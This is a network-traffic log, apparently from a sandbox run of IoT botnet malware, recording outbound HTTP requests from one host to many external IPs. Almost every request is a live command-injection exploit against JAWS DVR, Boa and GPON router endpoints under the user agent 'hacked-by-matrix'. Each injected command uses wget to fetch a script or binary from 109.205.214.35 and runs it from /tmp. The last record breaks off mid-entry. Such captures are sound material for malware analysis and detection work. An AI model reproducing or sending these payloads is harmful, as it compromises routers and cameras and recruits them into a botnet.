Mar 21, 2024 05:25:41.599206924 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:25:26 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.23	54120	89.213.40.119	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:41.558868885 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:42.182166100 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.23	35250	181.143.174.50	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:41.736294985 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.23	53006	37.74.232.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.071938992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.23	33640	118.172.60.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.071957111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.23	58886	178.216.240.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.071971893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.23	60478	5.209.140.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.071986914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.23	58118	178.136.82.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072015047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.23	56574	5.219.43.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072021008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.23	60792	212.113.89.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072046041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.23	32832	118.228.70.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072053909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.23	41408	79.104.241.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072067976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.23	40838	42.202.119.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072069883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.23	57510	212.23.191.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072071075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.23	59238	118.164.181.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072113991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.23	37392	94.159.190.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072180033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.23	50720	178.63.41.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072191000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.23	58166	178.32.202.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072210073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.23	53014	94.91.215.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072227955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.23	45304	210.204.126.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072228909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.23	57726	109.43.228.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072231054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.23	55232	79.255.8.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072272062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.23	57242	79.58.135.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072315931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.23	56168	94.179.108.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072315931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.23	45202	178.126.202.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072364092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: 